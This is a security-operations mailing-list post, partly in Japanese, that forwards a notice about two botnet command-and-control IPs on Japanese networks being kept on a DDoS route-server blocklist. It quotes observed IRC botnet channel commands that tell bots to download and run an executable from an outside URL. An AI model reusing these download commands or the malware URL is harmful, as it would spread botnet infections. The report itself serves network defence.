[nsp-sec-jp] DDOS RS IP extensions for 2 IPs

[Taka Mizuguchi]

nsp-sec-jp各位、

DDoS RSの新規追加の連絡が来ました。
転送しますので、以下をご参照下さい。

JPNICアサインASNとしては、2台追加されることになりました。

Forwarded by Taka Mizuguchi <taka ＠ ntt.net>
-----
次のIP prefixがこれから一週間DDoS RSに掲載されます。
これらは、botnetの一部と思われ、関係するポート番号に継続して応答して
いることが確認されました。

詳細は、履歴をご覧下さい。また、何か質問があればご連絡下さい。

注：
Peer_ASNsはupstreamを表します。


----------- nsp-security Confidential --------

95 IPs checked yielding extensions for 38 IPs with 3 re-addition
Hi Team,

The following IPs have been extended on the DDOS RS for one more week.
They have been confirmed as still responding on the corresponding
ports.  Please see the archives for further details, or contact us
with any questions.

Note
202.235.200.177, TCP 6667
#ddos     1        .download http://eduserv.site.voila.fr/salope.exe 
c:\salope.exe 1
#sdbot    3
#opers    3       [+nt] .sock
#rx       1        -dld http://eduserv.site.voila.fr/salope.exe 
c:\saloppe.exe 1
#g0d      8
##WiSD0m##        1     #Rbot     5


##### Info
IP              Description
202.235.200.177 own.helplessnet.org TCP 6667
210.169.91.66   ftp2.fuck-j00.info. tcp 5454


##### ASNs
4686    | 202.235.200.177  | BEKKOAME BEKKOAME INTERNET INC
4732    | 210.169.91.66    | DION KDDI CORPORATION

##### Peer_ASNs
2516    | 202.235.200.177  | JPNIC-ASBLOCK-AP JPNIC
2516    | 210.169.91.66    | JPNIC-ASBLOCK-AP JPNIC


-----
Taka Mizuguchi
taka ＠ ntt.net